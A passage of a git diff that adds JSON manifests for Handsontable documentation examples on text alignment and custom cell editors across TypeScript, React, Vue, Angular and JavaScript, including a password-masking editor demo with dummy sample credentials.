b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__javascript__example1.ts.json new file mode 100644 index 00000000..10ded2f2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Text alignment · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data: string[][] = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(18) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data,\n colWidths: 100,\n height: 320,\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n licenseKey: 'non-commercial-and-evaluation',\n mergeCells: [\n { row: 1, col: 1, rowspan: 3, colspan: 3 },\n { row: 3, col: 4, rowspan: 2, colspan: 2 },\n ],\n className: 'htCenter',\n cell: [\n { row: 0, col: 0, className: 'htRight' },\n { row: 1, col: 1, className: 'htLeft htMiddle' },\n { row: 3, col: 4, className: 'htLeft htBottom' },\n ],\n afterSetCellMeta(row, col, key, val) {\n console.log('cell meta changed', row, col, key, val);\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/text-alignment/javascript/example1.ts","breadcrumb":["Cell Features","Text alignment"],"guide":"guides/cell-features/text-alignment/text-alignment.md","guideTitle":"Text alignment","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-alignment","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__react__example1.tsx.json new file mode 100644 index 00000000..890a774d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Text alignment · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(18) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/text-alignment/react/example1.tsx","breadcrumb":["Cell Features","Text alignment"],"guide":"guides/cell-features/text-alignment/text-alignment.md","guideTitle":"Text alignment","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-alignment","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__vue__example1.vue.json new file mode 100644 index 00000000..0840ab58 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Text alignment · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/text-alignment/vue/example1.vue","breadcrumb":["Cell Features","Text alignment"],"guide":"guides/cell-features/text-alignment/text-alignment.md","guideTitle":"Text alignment","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-alignment","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__angular__example1.ts.json new file mode 100644 index 00000000..5dd6f9db --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell editor · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotCellEditorComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [],\n template: `\n `,\n})\nexport class EditorComponent extends HotCellEditorComponent {\n override onFocus(): void {}\n\n toUpperCase(): void {\n this.setValue((this.getValue() ?? '').toUpperCase());\n this.finishEdit.emit();\n }\n\n toLowerCase(): void {\n this.setValue((this.getValue() ?? '').toLowerCase());\n this.finishEdit.emit();\n }\n}\n\n@Component({\n selector: 'example1-cell-editor',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Obrien Fischer'],\n ['Alexandria Gordon'],\n ['John Stafford'],\n ['Regina Waters'],\n ['Kay Bentley'],\n ['Emerson Drake'],\n ['Dean Stapleton'],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n width: 250,\n editor: EditorComponent,\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-editor/angular/example1.ts","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-editor","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__angular__example2.ts.json new file mode 100644 index 00000000..6d4cbdbb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell editor · Class-based editors · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport { TextEditor } from 'handsontable/editors';\n\nclass CustomEditor extends TextEditor {\n override createElements() {\n super.createElements();\n\n this.TEXTAREA = document.createElement('input');\n this.TEXTAREA.setAttribute('placeholder', 'Custom placeholder');\n this.TEXTAREA.setAttribute('data-hot-input', 'true');\n this.textareaStyle = this.TEXTAREA.style;\n this.TEXTAREA_PARENT.innerText = '';\n this.TEXTAREA_PARENT.appendChild(this.TEXTAREA);\n }\n}\n\n@Component({\n selector: 'example2-cell-editor',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly gridSettings: GridSettings = {\n colHeaders: true,\n startRows: 5,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n colWidths: 200,\n columns: [\n {\n editor: CustomEditor,\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-editor/angular/example2.ts","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example2","exampleTitle":"Class-based editors","docPermalink":"/cell-editor","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__angular__example3.ts.json new file mode 100644 index 00000000..8b4a65e6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell editor · Extending an existing editor · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport { TextEditor } from 'handsontable/editors';\nimport Handsontable from 'handsontable/base';\n\nclass PasswordEditor extends TextEditor {\n override createElements(): void {\n super.createElements();\n\n this.TEXTAREA = this.hot.rootDocument.createElement('input') as HTMLInputElement;\n this.TEXTAREA.setAttribute('type', 'password');\n this.TEXTAREA.setAttribute('data-hot-input', 'true');\n this.textareaStyle = this.TEXTAREA.style;\n this.textareaStyle.width = '0';\n this.textareaStyle.height = '0';\n this.TEXTAREA_PARENT.innerText = '';\n this.TEXTAREA_PARENT.appendChild(this.TEXTAREA);\n }\n}\n\nfunction maskedRenderer(\n _instance: Handsontable.Core,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue\n): HTMLTableCellElement {\n td.innerText = value ? '●●●●●●●●' : '—';\n td.style.letterSpacing = value ? '2px' : 'normal';\n\n return td;\n}\n\n@Component({\n selector: 'example3-cell-editor',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly gridSettings: GridSettings = {\n data: [\n ['Alice Chen', 'alice@example.com', 'Admin', 'Wh1stl3!2024'],\n ['Bob Garcia', 'bob@example.com', 'Editor', 'P@ssw0rd42'],\n ['Carol Smith', 'carol@example.com', 'Viewer', 'Tr0ub4dor&3'],\n ['Dave Kim', 'dave@example.com', 'Editor', 'c0rrectH0rs3'],\n ['Eve Johnson', 'eve@example.com', 'Admin', 'Sup3rS3cr3t!'],\n ],\n colHeaders: ['Name', 'Email', 'Role', 'Password'],\n columns: [\n { type: 'text' },\n { type: 'text' },\n { type: 'text' },\n { editor: PasswordEditor as typeof TextEditor, renderer: maskedRenderer },\n ],\n colWidths: [130, 190, 70, 130],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-editor/angular/example3.ts","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example3","exampleTitle":"Extending an existing editor","docPermalink":"/cell-editor","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__javascript__example1.js.json new file mode 100644 index 00000000..24d9a54f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Functions ▸ Cell editor · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { TextEditor } from 'handsontable/editors/textEditor';\n\nregisterAllModules();\n\nclass PasswordEditor extends TextEditor {\n createElements() {\n super.createElements();\n this.TEXTAREA = this.hot.rootDocument.createElement('input');\n this.TEXTAREA.setAttribute('type', 'password');\n this.TEXTAREA.setAttribute('data-hot-input', 'true');\n this.textareaStyle = this.TEXTAREA.style;\n this.textareaStyle.width = '0';\n this.textareaStyle.height = '0';\n this.TEXTAREA_PARENT.innerText = '';\n this.TEXTAREA_PARENT.appendChild(this.TEXTAREA);\n }\n}\n\nfunction maskedRenderer(hotInstance, td, row, col, prop, value) {\n td.innerText = value ? '●●●●●●●●' : '—';\n td.style.letterSpacing = value ? '2px' : 'normal';\n\n return td;\n}\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['Alice Chen', 'alice@example.com', 'Admin', 'Wh1stl3!2024'],\n ['Bob Garcia', 'bob@example.com', 'Editor', 'P@ssw0rd42'],\n ['Carol Smith', 'carol@example.com', 'Viewer', 'Tr0ub4dor&3'],\n ['Dave Kim', 'dave@example.com', 'Editor', 'c0rrectH0rs3'],\n ['Eve Johnson', 'eve@example.com', 'Admin', 'Sup3rS3cr3t!'],\n ],\n colHeaders: ['Name', 'Email', 'Role', 'Password'],\n columns: [{ type: 'text' }, { type: 'text' }, { type: 'text' }, { editor: PasswordEditor, renderer: maskedRenderer }],\n colWidths: [130, 190, 70, 130],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-functions/cell-editor/javascript/example1.js","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example1","exampleTitle":"Standard 